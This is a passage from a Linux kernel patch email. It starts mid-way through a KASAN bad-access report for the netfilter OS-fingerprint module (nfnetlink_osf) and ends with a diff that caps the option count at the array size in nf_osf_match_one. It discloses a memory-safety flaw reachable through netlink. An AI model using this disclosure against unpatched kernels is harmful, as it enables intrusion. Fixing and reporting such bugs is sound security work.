nfnl_osf_add_callback+0x11f/0x550 linux-6.0-rc4/net/netfilter/nfnetlink_osf.c:316
nfnetlink_rcv_msg+0xbcf/0x13f0 linux-6.0-rc4/net/netfilter/nfnetlink.c:300
netlink_rcv_skb+0x153/0x420 linux-6.0-rc4/net/netlink/af_netlink.c:2501
nfnetlink_rcv+0x1ac/0x420 linux-6.0-rc4/net/netfilter/nfnetlink.c:658
netlink_unicast_kernel linux-6.0-rc4/net/netlink/af_netlink.c:1319
netlink_unicast+0x543/0x7f0 linux-6.0-rc4/net/netlink/af_netlink.c:1345
netlink_sendmsg+0x918/0xe20 linux-6.0-rc4/net/netlink/af_netlink.c:1921
sock_sendmsg_nosec linux-6.0-rc4/net/socket.c:714
sock_sendmsg+0xcf/0x120 linux-6.0-rc4/net/socket.c:734
____sys_sendmsg+0x6e6/0x800 linux-6.0-rc4/net/socket.c:2482
___sys_sendmsg+0x11d/0x1b0 linux-6.0-rc4/net/socket.c:2536
__sys_sendmsg+0xfa/0x1d0 linux-6.0-rc4/net/socket.c:2565
do_syscall_x64 linux-6.0-rc4/arch/x86/entry/common.c:50
do_syscall_64+0x35/0xb0 linux-6.0-rc4/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x63/0xcd linux-6.0-rc4/arch/x86/entry/entry_64.S:120

Last potentially related work creation:
kasan_save_stack+0x1e/0x40 linux-6.0-rc4/mm/kasan/common.c:38
__kasan_record_aux_stack+0x7e/0x90 linux-6.0-rc4/mm/kasan/generic.c:348
kvfree_call_rcu+0x74/0x940 linux-6.0-rc4/kernel/rcu/tree.c:3322
put_css_set_locked linux-6.0-rc4/kernel/cgroup/cgroup.c:988
put_css_set_locked+0xa9c/0x1000 linux-6.0-rc4/kernel/cgroup/cgroup.c:954
put_css_set linux-6.0-rc4/kernel/cgroup/cgroup-internal.h:211
put_css_set linux-6.0-rc4/kernel/cgroup/cgroup-internal.h:198
cgroup_free+0x83/0x1b0 linux-6.0-rc4/kernel/cgroup/cgroup.c:6525
__put_task_struct+0x113/0x3d0 linux-6.0-rc4/kernel/fork.c:840
put_task_struct linux-6.0-rc4/./include/linux/sched/task.h:119
delayed_put_task_struct+0x1f1/0x330 linux-6.0-rc4/kernel/exit.c:177
rcu_do_batch linux-6.0-rc4/kernel/rcu/tree.c:2245
rcu_core+0x7bb/0x1850 linux-6.0-rc4/kernel/rcu/tree.c:2505
__do_softirq+0x1d3/0x9b3 linux-6.0-rc4/kernel/softirq.c:571

The buggy address belongs to the object at ffff88804bc64000
which belongs to the cache kmalloc-1k of size 1024
The buggy address is located 626 bytes inside of
1024-byte region [ffff88804bc64000, ffff88804bc64400)

The buggy address belongs to the physical page:
page:ffffea00012f1900 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x4bc64
flags: 0x4fff00000000200(slab|node=1|zone=1|lastcpupid=0x7ff)
raw: 04fff00000000200 ffffea0001023808 ffffea00012f1f08 ffff888011840700
raw: 0000000000000000 ffff88804bc64000 0000000100000002 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x2420c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_COMP|__GFP_THISNODE), pid 1, tgid 1 (systemd), ts 22208538581, free_ts 22201347598
prep_new_page linux-6.0-rc4/mm/page_alloc.c:2532
get_page_from_freelist+0x1082/0x2ae0 linux-6.0-rc4/mm/page_alloc.c:4283
__alloc_pages+0x1c7/0x510 linux-6.0-rc4/mm/page_alloc.c:5515
__alloc_pages_node linux-6.0-rc4/./include/linux/gfp.h:243
kmem_getpages linux-6.0-rc4/mm/slab.c:1363
cache_grow_begin+0x75/0x370 linux-6.0-rc4/mm/slab.c:2569
cache_alloc_refill+0x27e/0x380 linux-6.0-rc4/mm/slab.c:2942
____cache_alloc linux-6.0-rc4/mm/slab.c:3018
____cache_alloc linux-6.0-rc4/mm/slab.c:3001
slab_alloc_node linux-6.0-rc4/mm/slab.c:3220
kmem_cache_alloc_node_trace+0x4f5/0x560 linux-6.0-rc4/mm/slab.c:3601
__do_kmalloc_node linux-6.0-rc4/mm/slab.c:3623
__kmalloc_node+0x38/0x60 linux-6.0-rc4/mm/slab.c:3631
kmalloc_node linux-6.0-rc4/./include/linux/slab.h:623
kvmalloc_node+0x3e/0x190 linux-6.0-rc4/mm/util.c:613
kvzalloc_node linux-6.0-rc4/./include/linux/slab.h:754
alloc_shrinker_info+0xe9/0x290 linux-6.0-rc4/mm/vmscan.c:282
mem_cgroup_css_online+0x182/0x470 linux-6.0-rc4/mm/memcontrol.c:5292
online_css+0xaf/0x2a0 linux-6.0-rc4/kernel/cgroup/cgroup.c:5334
css_create linux-6.0-rc4/kernel/cgroup/cgroup.c:5405
cgroup_apply_control_enable+0x69f/0xc00 linux-6.0-rc4/kernel/cgroup/cgroup.c:3204
cgroup_mkdir+0x5a0/0x1300 linux-6.0-rc4/kernel/cgroup/cgroup.c:5602
kernfs_iop_mkdir+0x146/0x1d0 linux-6.0-rc4/fs/kernfs/dir.c:1185
vfs_mkdir+0x3a9/0x650 linux-6.0-rc4/fs/namei.c:4013
do_mkdirat+0x28c/0x310 linux-6.0-rc4/fs/namei.c:4038
__do_sys_mkdir linux-6.0-rc4/fs/namei.c:4058
__se_sys_mkdir linux-6.0-rc4/fs/namei.c:4056
__x64_sys_mkdir+0xf2/0x140 linux-6.0-rc4/fs/namei.c:4056
page last free stack trace:
reset_page_owner linux-6.0-rc4/./include/linux/page_owner.h:24
free_pages_prepare linux-6.0-rc4/mm/page_alloc.c:1449
free_pcp_prepare+0x4b0/0xb50 linux-6.0-rc4/mm/page_alloc.c:1499
free_unref_page_prepare linux-6.0-rc4/mm/page_alloc.c:3380
free_unref_page+0x19/0x520 linux-6.0-rc4/mm/page_alloc.c:3476
tlb_batch_list_free linux-6.0-rc4/mm/mmu_gather.c:74
tlb_finish_mmu+0x1a3/0x7e0 linux-6.0-rc4/mm/mmu_gather.c:356
exit_mmap+0x1d2/0x480 linux-6.0-rc4/mm/mmap.c:3118
__mmput+0x122/0x4b0 linux-6.0-rc4/kernel/fork.c:1187
mmput+0x56/0x60 linux-6.0-rc4/kernel/fork.c:1208
exit_mm linux-6.0-rc4/kernel/exit.c:510
do_exit+0x9d9/0x29b0 linux-6.0-rc4/kernel/exit.c:782
do_group_exit+0xd2/0x2f0 linux-6.0-rc4/kernel/exit.c:925
__do_sys_exit_group linux-6.0-rc4/kernel/exit.c:936
__se_sys_exit_group linux-6.0-rc4/kernel/exit.c:934
__x64_sys_exit_group+0x3a/0x50 linux-6.0-rc4/kernel/exit.c:934
do_syscall_x64 linux-6.0-rc4/arch/x86/entry/common.c:50
do_syscall_64+0x35/0xb0 linux-6.0-rc4/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x63/0xcd linux-6.0-rc4/arch/x86/entry/entry_64.S:120

Memory state around the buggy address:
ffff88804bc64100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff88804bc64180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffff88804bc64200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc fc
^
ffff88804bc64280: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
ffff88804bc64300: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc

Reported-by: Lucas Leong <wmliang@infosec.exchange>
Cc: stable@kernel.org
Signed-off-by: Wander Lairson Costa <wander@redhat.com>
---
net/netfilter/nfnetlink_osf.c | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c
index 8f1bfa6ccc2d..3a0487560c89 100644
--- a/net/netfilter/nfnetlink_osf.c
+++ b/net/netfilter/nfnetlink_osf.c
@@ -70,6 +70,7 @@ static bool nf_osf_match_one(const struct sk_buff *skb,
unsigned int check_WSS = 0;
int fmatch = FMATCH_WRONG;
int foptsize, optnum;
+ int opt_num = min_t(__u16, f->opt_num, ARRAY_SIZE(f->opt));
u16 mss = 0;

if (ctx->totlen != f->ss || !nf_osf_ttl(skb, ttl_check, f->ttl))
@@ -84,7 +85,7 @@ static bool nf_osf_match_one(const struct sk_buff *skb,
/* Check options */

foptsize = 0;
- for (optnum = 0; optnum < f->opt_num; ++optnum)
+ for (optnum = 0; optnum < opt_num; ++optnum)
foptsize += f->opt[optnum].length;

if (foptsize > MAX_IPOPTLEN ||
@@ -94,7 +95,7 @@ static bool nf_osf_match_one(const struct sk_buff *skb,

check_WSS = f->wss.wc;

- for (optnum = 0; optnum < f->opt_num; ++optnum) {
+ for (optnum = 0; optnum < opt_num; ++optnum) {
if (f->opt[optnum].kind == *ctx->optp) {
__u32 len = f->opt[optnum].length;
const __u8 *optend = ctx->optp + len;
--
2.41.0